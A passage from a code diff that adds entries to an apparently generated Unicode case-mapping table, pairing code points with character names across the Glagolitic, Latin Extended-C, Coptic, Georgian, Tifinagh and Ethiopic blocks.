+ ["\u2C16", "\u2C46"], /* GLAGOLITIC SMALL LETTER UKU */
+ ["\u2C17", "\u2C47"], /* GLAGOLITIC SMALL LETTER FRITU */
+ ["\u2C18", "\u2C48"], /* GLAGOLITIC SMALL LETTER HERU */
+ ["\u2C19", "\u2C49"], /* GLAGOLITIC SMALL LETTER OTU */
+ ["\u2C1A", "\u2C4A"], /* GLAGOLITIC SMALL LETTER PE */
+ ["\u2C1B", "\u2C4B"], /* GLAGOLITIC SMALL LETTER SHTA */
+ ["\u2C1C", "\u2C4C"], /* GLAGOLITIC SMALL LETTER TSI */
+ ["\u2C1D", "\u2C4D"], /* GLAGOLITIC SMALL LETTER CHRIVI */
+ ["\u2C1E", "\u2C4E"], /* GLAGOLITIC SMALL LETTER SHA */
+ ["\u2C1F", "\u2C4F"], /* GLAGOLITIC SMALL LETTER YERU */
+ ["\u2C20", "\u2C50"], /* GLAGOLITIC SMALL LETTER YERI */
+ ["\u2C21", "\u2C51"], /* GLAGOLITIC SMALL LETTER YATI */
+ ["\u2C22", "\u2C52"], /* GLAGOLITIC SMALL LETTER SPIDERY HA */
+ ["\u2C23", "\u2C53"], /* GLAGOLITIC SMALL LETTER YU */
+ ["\u2C24", "\u2C54"], /* GLAGOLITIC SMALL LETTER SMALL YUS */
+ ["\u2C25", "\u2C55"], /* GLAGOLITIC SMALL LETTER SMALL YUS WITH TAIL */
+ ["\u2C26", "\u2C56"], /* GLAGOLITIC SMALL LETTER YO */
+ ["\u2C27", "\u2C57"], /* GLAGOLITIC SMALL LETTER IOTATED SMALL YUS */
+ ["\u2C28", "\u2C58"], /* GLAGOLITIC SMALL LETTER BIG YUS */
+ ["\u2C29", "\u2C59"], /* GLAGOLITIC SMALL LETTER IOTATED BIG YUS */
+ ["\u2C2A", "\u2C5A"], /* GLAGOLITIC SMALL LETTER FITA */
+ ["\u2C2B", "\u2C5B"], /* GLAGOLITIC SMALL LETTER IZHITSA */
+ ["\u2C2C", "\u2C5C"], /* GLAGOLITIC SMALL LETTER SHTAPIC */
+ ["\u2C2D", "\u2C5D"], /* GLAGOLITIC SMALL LETTER TROKUTASTI A */
+ ["\u2C2E", "\u2C5E"], /* GLAGOLITIC SMALL LETTER LATINATE MYSLITE */
+ ["\u2C2F", "\u2C5F"], /* GLAGOLITIC SMALL LETTER CAUDATE CHRIVI */
+ ["\u2C60", "\u2C61"], /* LATIN CAPITAL LETTER L WITH DOUBLE BAR */
+ ["\u2C60", "\u2C61"], /* LATIN SMALL LETTER L WITH DOUBLE BAR */
+ ["\u2C62", "\u026B"], /* LATIN CAPITAL LETTER L WITH MIDDLE TILDE */
+ ["\u2C63", "\u1D7D"], /* LATIN CAPITAL LETTER P WITH STROKE */
+ ["\u2C64", "\u027D"], /* LATIN CAPITAL LETTER R WITH TAIL */
+ ["\u023A", "\u2C65"], /* LATIN SMALL LETTER A WITH STROKE */
+ ["\u023E", "\u2C66"], /* LATIN SMALL LETTER T WITH DIAGONAL STROKE */
+ ["\u2C67", "\u2C68"], /* LATIN CAPITAL LETTER H WITH DESCENDER */
+ ["\u2C67", "\u2C68"], /* LATIN SMALL LETTER H WITH DESCENDER */
+ ["\u2C69", "\u2C6A"], /* LATIN CAPITAL LETTER K WITH DESCENDER */
+ ["\u2C69", "\u2C6A"], /* LATIN SMALL LETTER K WITH DESCENDER */
+ ["\u2C6B", "\u2C6C"], /* LATIN CAPITAL LETTER Z WITH DESCENDER */
+ ["\u2C6B", "\u2C6C"], /* LATIN SMALL LETTER Z WITH DESCENDER */
+ ["\u2C6D", "\u0251"], /* LATIN CAPITAL LETTER ALPHA */
+ ["\u2C6E", "\u0271"], /* LATIN CAPITAL LETTER M WITH HOOK */
+ ["\u2C6F", "\u0250"], /* LATIN CAPITAL LETTER TURNED A */
+ ["\u2C70", "\u0252"], /* LATIN CAPITAL LETTER TURNED ALPHA */
+ ["\u2C71", "\u2C71"], /* LATIN SMALL LETTER V WITH RIGHT HOOK */
+ ["\u2C72", "\u2C73"], /* LATIN CAPITAL LETTER W WITH HOOK */
+ ["\u2C72", "\u2C73"], /* LATIN SMALL LETTER W WITH HOOK */
+ ["\u2C74", "\u2C74"], /* LATIN SMALL LETTER V WITH CURL */
+ ["\u2C75", "\u2C76"], /* LATIN CAPITAL LETTER HALF H */
+ ["\u2C75", "\u2C76"], /* LATIN SMALL LETTER HALF H */
+ ["\u2C77", "\u2C77"], /* LATIN SMALL LETTER TAILLESS PHI */
+ ["\u2C78", "\u2C78"], /* LATIN SMALL LETTER E WITH NOTCH */
+ ["\u2C79", "\u2C79"], /* LATIN SMALL LETTER TURNED R WITH TAIL */
+ ["\u2C7A", "\u2C7A"], /* LATIN SMALL LETTER O WITH LOW RING INSIDE */
+ ["\u2C7B", "\u2C7B"], /* LATIN LETTER SMALL CAPITAL TURNED E */
+ ["\u2C7C", "\u2C7C"], /* LATIN SUBSCRIPT SMALL LETTER J */
+ ["\u2C7D", "\u2C7D"], /* MODIFIER LETTER CAPITAL V */
+ ["\u2C7E", "\u023F"], /* LATIN CAPITAL LETTER S WITH SWASH TAIL */
+ ["\u2C7F", "\u0240"], /* LATIN CAPITAL LETTER Z WITH SWASH TAIL */
+ ["\u2C80", "\u2C81"], /* COPTIC CAPITAL LETTER ALFA */
+ ["\u2C80", "\u2C81"], /* COPTIC SMALL LETTER ALFA */
+ ["\u2C82", "\u2C83"], /* COPTIC CAPITAL LETTER VIDA */
+ ["\u2C82", "\u2C83"], /* COPTIC SMALL LETTER VIDA */
+ ["\u2C84", "\u2C85"], /* COPTIC CAPITAL LETTER GAMMA */
+ ["\u2C84", "\u2C85"], /* COPTIC SMALL LETTER GAMMA */
+ ["\u2C86", "\u2C87"], /* COPTIC CAPITAL LETTER DALDA */
+ ["\u2C86", "\u2C87"], /* COPTIC SMALL LETTER DALDA */
+ ["\u2C88", "\u2C89"], /* COPTIC CAPITAL LETTER EIE */
+ ["\u2C88", "\u2C89"], /* COPTIC SMALL LETTER EIE */
+ ["\u2C8A", "\u2C8B"], /* COPTIC CAPITAL LETTER SOU */
+ ["\u2C8A", "\u2C8B"], /* COPTIC SMALL LETTER SOU */
+ ["\u2C8C", "\u2C8D"], /* COPTIC CAPITAL LETTER ZATA */
+ ["\u2C8C", "\u2C8D"], /* COPTIC SMALL LETTER ZATA */
+ ["\u2C8E", "\u2C8F"], /* COPTIC CAPITAL LETTER HATE */
+ ["\u2C8E", "\u2C8F"], /* COPTIC SMALL LETTER HATE */
+ ["\u2C90", "\u2C91"], /* COPTIC CAPITAL LETTER THETHE */
+ ["\u2C90", "\u2C91"], /* COPTIC SMALL LETTER THETHE */
+ ["\u2C92", "\u2C93"], /* COPTIC CAPITAL LETTER IAUDA */
+ ["\u2C92", "\u2C93"], /* COPTIC SMALL LETTER IAUDA */
+ ["\u2C94", "\u2C95"], /* COPTIC CAPITAL LETTER KAPA */
+ ["\u2C94", "\u2C95"], /* COPTIC SMALL LETTER KAPA */
+ ["\u2C96", "\u2C97"], /* COPTIC CAPITAL LETTER LAULA */
+ ["\u2C96", "\u2C97"], /* COPTIC SMALL LETTER LAULA */
+ ["\u2C98", "\u2C99"], /* COPTIC CAPITAL LETTER MI */
+ ["\u2C98", "\u2C99"], /* COPTIC SMALL LETTER MI */
+ ["\u2C9A", "\u2C9B"], /* COPTIC CAPITAL LETTER NI */
+ ["\u2C9A", "\u2C9B"], /* COPTIC SMALL LETTER NI */
+ ["\u2C9C", "\u2C9D"], /* COPTIC CAPITAL LETTER KSI */
+ ["\u2C9C", "\u2C9D"], /* COPTIC SMALL LETTER KSI */
+ ["\u2C9E", "\u2C9F"], /* COPTIC CAPITAL LETTER O */
+ ["\u2C9E", "\u2C9F"], /* COPTIC SMALL LETTER O */
+ ["\u2CA0", "\u2CA1"], /* COPTIC CAPITAL LETTER PI */
+ ["\u2CA0", "\u2CA1"], /* COPTIC SMALL LETTER PI */
+ ["\u2CA2", "\u2CA3"], /* COPTIC CAPITAL LETTER RO */
+ ["\u2CA2", "\u2CA3"], /* COPTIC SMALL LETTER RO */
+ ["\u2CA4", "\u2CA5"], /* COPTIC CAPITAL LETTER SIMA */
+ ["\u2CA4", "\u2CA5"], /* COPTIC SMALL LETTER SIMA */
+ ["\u2CA6", "\u2CA7"], /* COPTIC CAPITAL LETTER TAU */
+ ["\u2CA6", "\u2CA7"], /* COPTIC SMALL LETTER TAU */
+ ["\u2CA8", "\u2CA9"], /* COPTIC CAPITAL LETTER UA */
+ ["\u2CA8", "\u2CA9"], /* COPTIC SMALL LETTER UA */
+ ["\u2CAA", "\u2CAB"], /* COPTIC CAPITAL LETTER FI */
+ ["\u2CAA", "\u2CAB"], /* COPTIC SMALL LETTER FI */
+ ["\u2CAC", "\u2CAD"], /* COPTIC CAPITAL LETTER KHI */
+ ["\u2CAC", "\u2CAD"], /* COPTIC SMALL LETTER KHI */
+ ["\u2CAE", "\u2CAF"], /* COPTIC CAPITAL LETTER PSI */
+ ["\u2CAE", "\u2CAF"], /* COPTIC SMALL LETTER PSI */
+ ["\u2CB0", "\u2CB1"], /* COPTIC CAPITAL LETTER OOU */
+ ["\u2CB0", "\u2CB1"], /* COPTIC SMALL LETTER OOU */
+ ["\u2CB2", "\u2CB3"], /* COPTIC CAPITAL LETTER DIALECT-P ALEF */
+ ["\u2CB2", "\u2CB3"], /* COPTIC SMALL LETTER DIALECT-P ALEF */
+ ["\u2CB4", "\u2CB5"], /* COPTIC CAPITAL LETTER OLD COPTIC AIN */
+ ["\u2CB4", "\u2CB5"], /* COPTIC SMALL LETTER OLD COPTIC AIN */
+ ["\u2CB6", "\u2CB7"], /* COPTIC CAPITAL LETTER CRYPTOGRAMMIC EIE */
+ ["\u2CB6", "\u2CB7"], /* COPTIC SMALL LETTER CRYPTOGRAMMIC EIE */
+ ["\u2CB8", "\u2CB9"], /* COPTIC CAPITAL LETTER DIALECT-P KAPA */
+ ["\u2CB8", "\u2CB9"], /* COPTIC SMALL LETTER DIALECT-P KAPA */
+ ["\u2CBA", "\u2CBB"], /* COPTIC CAPITAL LETTER DIALECT-P NI */
+ ["\u2CBA", "\u2CBB"], /* COPTIC SMALL LETTER DIALECT-P NI */
+ ["\u2CBC", "\u2CBD"], /* COPTIC CAPITAL LETTER CRYPTOGRAMMIC NI */
+ ["\u2CBC", "\u2CBD"], /* COPTIC SMALL LETTER CRYPTOGRAMMIC NI */
+ ["\u2CBE", "\u2CBF"], /* COPTIC CAPITAL LETTER OLD COPTIC OOU */
+ ["\u2CBE", "\u2CBF"], /* COPTIC SMALL LETTER OLD COPTIC OOU */
+ ["\u2CC0", "\u2CC1"], /* COPTIC CAPITAL LETTER SAMPI */
+ ["\u2CC0", "\u2CC1"], /* COPTIC SMALL LETTER SAMPI */
+ ["\u2CC2", "\u2CC3"], /* COPTIC CAPITAL LETTER CROSSED SHEI */
+ ["\u2CC2", "\u2CC3"], /* COPTIC SMALL LETTER CROSSED SHEI */
+ ["\u2CC4", "\u2CC5"], /* COPTIC CAPITAL LETTER OLD COPTIC SHEI */
+ ["\u2CC4", "\u2CC5"], /* COPTIC SMALL LETTER OLD COPTIC SHEI */
+ ["\u2CC6", "\u2CC7"], /* COPTIC CAPITAL LETTER OLD COPTIC ESH */
+ ["\u2CC6", "\u2CC7"], /* COPTIC SMALL LETTER OLD COPTIC ESH */
+ ["\u2CC8", "\u2CC9"], /* COPTIC CAPITAL LETTER AKHMIMIC KHEI */
+ ["\u2CC8", "\u2CC9"], /* COPTIC SMALL LETTER AKHMIMIC KHEI */
+ ["\u2CCA", "\u2CCB"], /* COPTIC CAPITAL LETTER DIALECT-P HORI */
+ ["\u2CCA", "\u2CCB"], /* COPTIC SMALL LETTER DIALECT-P HORI */
+ ["\u2CCC", "\u2CCD"], /* COPTIC CAPITAL LETTER OLD COPTIC HORI */
+ ["\u2CCC", "\u2CCD"], /* COPTIC SMALL LETTER OLD COPTIC HORI */
+ ["\u2CCE", "\u2CCF"], /* COPTIC CAPITAL LETTER OLD COPTIC HA */
+ ["\u2CCE", "\u2CCF"], /* COPTIC SMALL LETTER OLD COPTIC HA */
+ ["\u2CD0", "\u2CD1"], /* COPTIC CAPITAL LETTER L-SHAPED HA */
+ ["\u2CD0", "\u2CD1"], /* COPTIC SMALL LETTER L-SHAPED HA */
+ ["\u2CD2", "\u2CD3"], /* COPTIC CAPITAL LETTER OLD COPTIC HEI */
+ ["\u2CD2", "\u2CD3"], /* COPTIC SMALL LETTER OLD COPTIC HEI */
+ ["\u2CD4", "\u2CD5"], /* COPTIC CAPITAL LETTER OLD COPTIC HAT */
+ ["\u2CD4", "\u2CD5"], /* COPTIC SMALL LETTER OLD COPTIC HAT */
+ ["\u2CD6", "\u2CD7"], /* COPTIC CAPITAL LETTER OLD COPTIC GANGIA */
+ ["\u2CD6", "\u2CD7"], /* COPTIC SMALL LETTER OLD COPTIC GANGIA */
+ ["\u2CD8", "\u2CD9"], /* COPTIC CAPITAL LETTER OLD COPTIC DJA */
+ ["\u2CD8", "\u2CD9"], /* COPTIC SMALL LETTER OLD COPTIC DJA */
+ ["\u2CDA", "\u2CDB"], /* COPTIC CAPITAL LETTER OLD COPTIC SHIMA */
+ ["\u2CDA", "\u2CDB"], /* COPTIC SMALL LETTER OLD COPTIC SHIMA */
+ ["\u2CDC", "\u2CDD"], /* COPTIC CAPITAL LETTER OLD NUBIAN SHIMA */
+ ["\u2CDC", "\u2CDD"], /* COPTIC SMALL LETTER OLD NUBIAN SHIMA */
+ ["\u2CDE", "\u2CDF"], /* COPTIC CAPITAL LETTER OLD NUBIAN NGI */
+ ["\u2CDE", "\u2CDF"], /* COPTIC SMALL LETTER OLD NUBIAN NGI */
+ ["\u2CE0", "\u2CE1"], /* COPTIC CAPITAL LETTER OLD NUBIAN NYI */
+ ["\u2CE0", "\u2CE1"], /* COPTIC SMALL LETTER OLD NUBIAN NYI */
+ ["\u2CE2", "\u2CE3"], /* COPTIC CAPITAL LETTER OLD NUBIAN WAU */
+ ["\u2CE2", "\u2CE3"], /* COPTIC SMALL LETTER OLD NUBIAN WAU */
+ ["\u2CE4", "\u2CE4"], /* COPTIC SYMBOL KAI */
+ ["\u2CE5", "\u2CE5"], /* COPTIC SYMBOL MI RO */
+ ["\u2CE6", "\u2CE6"], /* COPTIC SYMBOL PI RO */
+ ["\u2CE7", "\u2CE7"], /* COPTIC SYMBOL STAUROS */
+ ["\u2CE8", "\u2CE8"], /* COPTIC SYMBOL TAU RO */
+ ["\u2CE9", "\u2CE9"], /* COPTIC SYMBOL KHI RO */
+ ["\u2CEA", "\u2CEA"], /* COPTIC SYMBOL SHIMA SIMA */
+ ["\u2CEB", "\u2CEC"], /* COPTIC CAPITAL LETTER CRYPTOGRAMMIC SHEI */
+ ["\u2CEB", "\u2CEC"], /* COPTIC SMALL LETTER CRYPTOGRAMMIC SHEI */
+ ["\u2CED", "\u2CEE"], /* COPTIC CAPITAL LETTER CRYPTOGRAMMIC GANGIA */
+ ["\u2CED", "\u2CEE"], /* COPTIC SMALL LETTER CRYPTOGRAMMIC GANGIA */
+ ["\u2CEF", "\u2CEF"], /* COPTIC COMBINING NI ABOVE */
+ ["\u2CF0", "\u2CF0"], /* COPTIC COMBINING SPIRITUS ASPER */
+ ["\u2CF1", "\u2CF1"], /* COPTIC COMBINING SPIRITUS LENIS */
+ ["\u2CF2", "\u2CF3"], /* COPTIC CAPITAL LETTER BOHAIRIC KHEI */
+ ["\u2CF2", "\u2CF3"], /* COPTIC SMALL LETTER BOHAIRIC KHEI */
+ ["\u2CF4", "\u2CF4"],
+ ["\u2CF5", "\u2CF5"],
+ ["\u2CF6", "\u2CF6"],
+ ["\u2CF7", "\u2CF7"],
+ ["\u2CF8", "\u2CF8"],
+ ["\u2CF9", "\u2CF9"], /* COPTIC OLD NUBIAN FULL STOP */
+ ["\u2CFA", "\u2CFA"], /* COPTIC OLD NUBIAN DIRECT QUESTION MARK */
+ ["\u2CFB", "\u2CFB"], /* COPTIC OLD NUBIAN INDIRECT QUESTION MARK */
+ ["\u2CFC", "\u2CFC"], /* COPTIC OLD NUBIAN VERSE DIVIDER */
+ ["\u2CFD", "\u2CFD"], /* COPTIC FRACTION ONE HALF */
+ ["\u2CFE", "\u2CFE"], /* COPTIC FULL STOP */
+ ["\u2CFF", "\u2CFF"], /* COPTIC MORPHOLOGICAL DIVIDER */
+ ["\u10A0", "\u2D00"], /* GEORGIAN SMALL LETTER AN */
+ ["\u10A1", "\u2D01"], /* GEORGIAN SMALL LETTER BAN */
+ ["\u10A2", "\u2D02"], /* GEORGIAN SMALL LETTER GAN */
+ ["\u10A3", "\u2D03"], /* GEORGIAN SMALL LETTER DON */
+ ["\u10A4", "\u2D04"], /* GEORGIAN SMALL LETTER EN */
+ ["\u10A5", "\u2D05"], /* GEORGIAN SMALL LETTER VIN */
+ ["\u10A6", "\u2D06"], /* GEORGIAN SMALL LETTER ZEN */
+ ["\u10A7", "\u2D07"], /* GEORGIAN SMALL LETTER TAN */
+ ["\u10A8", "\u2D08"], /* GEORGIAN SMALL LETTER IN */
+ ["\u10A9", "\u2D09"], /* GEORGIAN SMALL LETTER KAN */
+ ["\u10AA", "\u2D0A"], /* GEORGIAN SMALL LETTER LAS */
+ ["\u10AB", "\u2D0B"], /* GEORGIAN SMALL LETTER MAN */
+ ["\u10AC", "\u2D0C"], /* GEORGIAN SMALL LETTER NAR */
+ ["\u10AD", "\u2D0D"], /* GEORGIAN SMALL LETTER ON */
+ ["\u10AE", "\u2D0E"], /* GEORGIAN SMALL LETTER PAR */
+ ["\u10AF", "\u2D0F"], /* GEORGIAN SMALL LETTER ZHAR */
+ ["\u10B0", "\u2D10"], /* GEORGIAN SMALL LETTER RAE */
+ ["\u10B1", "\u2D11"], /* GEORGIAN SMALL LETTER SAN */
+ ["\u10B2", "\u2D12"], /* GEORGIAN SMALL LETTER TAR */
+ ["\u10B3", "\u2D13"], /* GEORGIAN SMALL LETTER UN */
+ ["\u10B4", "\u2D14"], /* GEORGIAN SMALL LETTER PHAR */
+ ["\u10B5", "\u2D15"], /* GEORGIAN SMALL LETTER KHAR */
+ ["\u10B6", "\u2D16"], /* GEORGIAN SMALL LETTER GHAN */
+ ["\u10B7", "\u2D17"], /* GEORGIAN SMALL LETTER QAR */
+ ["\u10B8", "\u2D18"], /* GEORGIAN SMALL LETTER SHIN */
+ ["\u10B9", "\u2D19"], /* GEORGIAN SMALL LETTER CHIN */
+ ["\u10BA", "\u2D1A"], /* GEORGIAN SMALL LETTER CAN */
+ ["\u10BB", "\u2D1B"], /* GEORGIAN SMALL LETTER JIL */
+ ["\u10BC", "\u2D1C"], /* GEORGIAN SMALL LETTER CIL */
+ ["\u10BD", "\u2D1D"], /* GEORGIAN SMALL LETTER CHAR */
+ ["\u10BE", "\u2D1E"], /* GEORGIAN SMALL LETTER XAN */
+ ["\u10BF", "\u2D1F"], /* GEORGIAN SMALL LETTER JHAN */
+ ["\u10C0", "\u2D20"], /* GEORGIAN SMALL LETTER HAE */
+ ["\u10C1", "\u2D21"], /* GEORGIAN SMALL LETTER HE */
+ ["\u10C2", "\u2D22"], /* GEORGIAN SMALL LETTER HIE */
+ ["\u10C3", "\u2D23"], /* GEORGIAN SMALL LETTER WE */
+ ["\u10C4", "\u2D24"], /* GEORGIAN SMALL LETTER HAR */
+ ["\u10C5", "\u2D25"], /* GEORGIAN SMALL LETTER HOE */
+ ["\u2D26", "\u2D26"],
+ ["\u10C7", "\u2D27"], /* GEORGIAN SMALL LETTER YN */
+ ["\u2D28", "\u2D28"],
+ ["\u2D29", "\u2D29"],
+ ["\u2D2A", "\u2D2A"],
+ ["\u2D2B", "\u2D2B"],
+ ["\u2D2C", "\u2D2C"],
+ ["\u10CD", "\u2D2D"], /* GEORGIAN SMALL LETTER AEN */
+ ["\u2D2E", "\u2D2E"],
+ ["\u2D2F", "\u2D2F"],
+ ["\u2D30", "\u2D30"], /* TIFINAGH LETTER YA */
+ ["\u2D31", "\u2D31"], /* TIFINAGH LETTER YAB */
+ ["\u2D32", "\u2D32"], /* TIFINAGH LETTER YABH */
+ ["\u2D33", "\u2D33"], /* TIFINAGH LETTER YAG */
+ ["\u2D34", "\u2D34"], /* TIFINAGH LETTER YAGHH */
+ ["\u2D35", "\u2D35"], /* TIFINAGH LETTER BERBER ACADEMY YAJ */
+ ["\u2D36", "\u2D36"], /* TIFINAGH LETTER YAJ */
+ ["\u2D37", "\u2D37"], /* TIFINAGH LETTER YAD */
+ ["\u2D38", "\u2D38"], /* TIFINAGH LETTER YADH */
+ ["\u2D39", "\u2D39"], /* TIFINAGH LETTER YADD */
+ ["\u2D3A", "\u2D3A"], /* TIFINAGH LETTER YADDH */
+ ["\u2D3B", "\u2D3B"], /* TIFINAGH LETTER YEY */
+ ["\u2D3C", "\u2D3C"], /* TIFINAGH LETTER YAF */
+ ["\u2D3D", "\u2D3D"], /* TIFINAGH LETTER YAK */
+ ["\u2D3E", "\u2D3E"], /* TIFINAGH LETTER TUAREG YAK */
+ ["\u2D3F", "\u2D3F"], /* TIFINAGH LETTER YAKHH */
+ ["\u2D40", "\u2D40"], /* TIFINAGH LETTER YAH */
+ ["\u2D41", "\u2D41"], /* TIFINAGH LETTER BERBER ACADEMY YAH */
+ ["\u2D42", "\u2D42"], /* TIFINAGH LETTER TUAREG YAH */
+ ["\u2D43", "\u2D43"], /* TIFINAGH LETTER YAHH */
+ ["\u2D44", "\u2D44"], /* TIFINAGH LETTER YAA */
+ ["\u2D45", "\u2D45"], /* TIFINAGH LETTER YAKH */
+ ["\u2D46", "\u2D46"], /* TIFINAGH LETTER TUAREG YAKH */
+ ["\u2D47", "\u2D47"], /* TIFINAGH LETTER YAQ */
+ ["\u2D48", "\u2D48"], /* TIFINAGH LETTER TUAREG YAQ */
+ ["\u2D49", "\u2D49"], /* TIFINAGH LETTER YI */
+ ["\u2D4A", "\u2D4A"], /* TIFINAGH LETTER YAZH */
+ ["\u2D4B", "\u2D4B"], /* TIFINAGH LETTER AHAGGAR YAZH */
+ ["\u2D4C", "\u2D4C"], /* TIFINAGH LETTER TUAREG YAZH */
+ ["\u2D4D", "\u2D4D"], /* TIFINAGH LETTER YAL */
+ ["\u2D4E", "\u2D4E"], /* TIFINAGH LETTER YAM */
+ ["\u2D4F", "\u2D4F"], /* TIFINAGH LETTER YAN */
+ ["\u2D50", "\u2D50"], /* TIFINAGH LETTER TUAREG YAGN */
+ ["\u2D51", "\u2D51"], /* TIFINAGH LETTER TUAREG YANG */
+ ["\u2D52", "\u2D52"], /* TIFINAGH LETTER YAP */
+ ["\u2D53", "\u2D53"], /* TIFINAGH LETTER YU */
+ ["\u2D54", "\u2D54"], /* TIFINAGH LETTER YAR */
+ ["\u2D55", "\u2D55"], /* TIFINAGH LETTER YARR */
+ ["\u2D56", "\u2D56"], /* TIFINAGH LETTER YAGH */
+ ["\u2D57", "\u2D57"], /* TIFINAGH LETTER TUAREG YAGH */
+ ["\u2D58", "\u2D58"], /* TIFINAGH LETTER AYER YAGH */
+ ["\u2D59", "\u2D59"], /* TIFINAGH LETTER YAS */
+ ["\u2D5A", "\u2D5A"], /* TIFINAGH LETTER YASS */
+ ["\u2D5B", "\u2D5B"], /* TIFINAGH LETTER YASH */
+ ["\u2D5C", "\u2D5C"], /* TIFINAGH LETTER YAT */
+ ["\u2D5D", "\u2D5D"], /* TIFINAGH LETTER YATH */
+ ["\u2D5E", "\u2D5E"], /* TIFINAGH LETTER YACH */
+ ["\u2D5F", "\u2D5F"], /* TIFINAGH LETTER YATT */
+ ["\u2D60", "\u2D60"], /* TIFINAGH LETTER YAV */
+ ["\u2D61", "\u2D61"], /* TIFINAGH LETTER YAW */
+ ["\u2D62", "\u2D62"], /* TIFINAGH LETTER YAY */
+ ["\u2D63", "\u2D63"], /* TIFINAGH LETTER YAZ */
+ ["\u2D64", "\u2D64"], /* TIFINAGH LETTER TAWELLEMET YAZ */
+ ["\u2D65", "\u2D65"], /* TIFINAGH LETTER YAZZ */
+ ["\u2D66", "\u2D66"], /* TIFINAGH LETTER YE */
+ ["\u2D67", "\u2D67"], /* TIFINAGH LETTER YO */
+ ["\u2D68", "\u2D68"],
+ ["\u2D69", "\u2D69"],
+ ["\u2D6A", "\u2D6A"],
+ ["\u2D6B", "\u2D6B"],
+ ["\u2D6C", "\u2D6C"],
+ ["\u2D6D", "\u2D6D"],
+ ["\u2D6E", "\u2D6E"],
+ ["\u2D6F", "\u2D6F"], /* TIFINAGH MODIFIER LETTER LABIALIZATION MARK */
+ ["\u2D70", "\u2D70"], /* TIFINAGH SEPARATOR MARK */
+ ["\u2D71", "\u2D71"],
+ ["\u2D72", "\u2D72"],
+ ["\u2D73", "\u2D73"],
+ ["\u2D74", "\u2D74"],
+ ["\u2D75", "\u2D75"],
+ ["\u2D76", "\u2D76"],
+ ["\u2D77", "\u2D77"],
+ ["\u2D78", "\u2D78"],
+ ["\u2D79", "\u2D79"],
+ ["\u2D7A", "\u2D7A"],
+ ["\u2D7B", "\u2D7B"],
+ ["\u2D7C", "\u2D7C"],
+ ["\u2D7D", "\u2D7D"],
+ ["\u2D7E", "\u2D7E"],
+ ["\u2D7F", "\u2D7F"], /* TIFINAGH CONSONANT JOINER */
+ ["\u2D80", "\u2D80"], /* ETHIOPIC SYLLABLE LOA */
+ ["\u2D81", "\u2D81"], /* ETHIOPIC SYLLABLE MOA */
+ ["\u2D82", "\u2D82"], /* ETHIOPIC SYLLABLE ROA */
+ ["\u2D83", "\u2D83"], /* ETHIOPIC SYLLABLE SOA */
+ ["\u2D84", "\u2D84"], /* ETHIOPIC SYLLABLE SHOA */
+ ["\u2D85", "\u2D85"], /* ETHIOPIC SYLLABLE BOA */
+ ["\u2D86", "\u2D86"], /* ETHIOPIC SYLLABLE TOA */
+ ["\u2D87", "\u2D87"], /* ETHIOPIC SYLLABLE COA */
+ ["\u2D88", "\u2D88"], /* ETHIOPIC SYLLABLE NOA */
+ ["\u2D89", "\u2D89"], /* ETHIOPIC SYLLABLE NYOA */
+ ["\u2D8A", "\u2D8A"], /* ETHIOPIC SYLLABLE GLOTTAL OA */
+ ["\u2D8B", "\u2D8B"], /* ETHIOPIC SYLLABLE ZOA */
+ ["\u2D8C", "\u2D8C"], /* ETHIOPIC SYLLABLE DOA */
+ ["\u2D8D", "\u2D8D"], /* ETHIOPIC SYLLABLE DDOA */
+ ["\u2D8E", "\u2D8E"], /* ETHIOPIC SYLLABLE JOA */
+ ["\u2D8F", "\u2D8F"], /* ETHIOPIC SYLLABLE THOA */
+ ["\u2D90", "\u2D90"], /* ETHIOPIC SYLLABLE CHOA */
+ ["\u2D91", "\u2D91"], /* ETHIOPIC SYLLABLE PHOA */
+ ["\u2D92", "\u2D92"], /* ETHIOPIC SYLLABLE POA */
+ ["\u2D93", "\u2D93"], /* ETHIOPIC SYLLABLE GGWA */
+ ["\u2D94", "\u2D94"], /* ETHIOPIC SYLLABLE GGWI */
+ ["\u2D95", "\u2D95"], /* ETHIOPIC SYLLABLE GGWEE */
+ ["\u2D96", "\u2D96"], /* ETHIOPIC SYLLABLE GGWE */
+ ["\u2D97", "\u2D97"],
+ ["\u2D98", "\u2D98"],
+ ["\u2D99", "\u2D99"],
+ ["\u2D9A", "\u2D9A"],
+ ["\u2D9B", "\u2D9B"],
+ ["\u2D9C", "\u2D9C"],
+ ["\u2D9D", "\u2D9D"],
+ ["\u2D9E", "\u2D9E"],
+ ["\u2D9F", "\u2D9F"],
+ ["\u2DA0", "\u2DA0"], /* ETHIOPIC SYLLABLE SSA */
+ ["\u2DA1", "\u2DA1"], /* ETHIOPIC SYLLABLE SSU */
+ ["\u2DA2", "\u2DA2"], /* ETHIOPIC SYLLABLE SSI */
+ ["\u2DA3", "\u2DA3"], /* ETHIOPIC SYLLABLE SSAA */
+ ["\u2DA4", "\u2DA4"], /* ETHIOPIC SYLLABLE SSEE */
+ ["\u2DA5", "\u2DA5"], /* ETHIOPIC SYLLABLE SSE */
+ ["\u2DA6", "\u2DA6"], /* ETHIOPIC SYLLABLE SSO */
+ ["\u2DA7", "\u2DA7"],
+ ["\u2DA8", "\u2DA8"], /* ETHIOPIC SYLLABLE CCA */
+ ["\u2DA9", "\u2DA9"], /* ETHIOPIC SYLLABLE CCU */
+ ["\u2DAA", "\u2DAA"], /* ETHIOPIC SYLLABLE CCI */
+ ["\u2DAB", "\u2DAB"], /* ETHIOPIC SYLLABLE CCAA */
+ ["\u2DAC", "\u2DAC"], /* ETHIOPIC SYLLABLE CCEE */
+ ["\u2DAD", "\u2DAD"], /* ETHIOPIC SYLLABLE CCE */
+ ["\u2DAE", "\u2DAE"], /* ETHIOPIC SYLLABLE CCO */
+ ["\u2DAF", "\u2DAF"],
+ ["\u2DB0", "\u2DB0"], /* ETHIOPIC SYLLABLE ZZA */
+ ["\u2DB1", "\u2DB1"], /* ETHIOPIC SYLLABLE ZZU */
+ ["\u2DB2", "\u2DB2"], /* ETHIOPIC SYLLABLE ZZI */
+ ["\u2DB3", "\u2DB3"], /* ETHIOPIC SYLLABLE ZZAA */
+ ["\u2DB4", "\u2DB4"], /* ETHIOPIC SYLLABLE ZZEE */
+ ["\u2DB5", "\u2DB5"], /* ETHIOPIC SYLLABLE ZZE */
+ ["\u2DB6", "\u2DB6"], /* ETHIOPIC SYLLABLE ZZO */
+ ["\u2DB7", "\u2DB7"],
+ ["\u2DB8", "\u2DB8"], /* ETHIOPIC SYLLABLE CCHA */
+ ["\u2DB9", "\u2DB9"], /* ETHIOPIC SYLLABLE CCHU */
+ ["\u2DBA", "\u2DBA"], /* ETHIOPIC SYLLABLE CCHI */
+ ["\u2DBB", "\u2DBB"], /* ETHIOPIC SYLLABLE CCHAA */
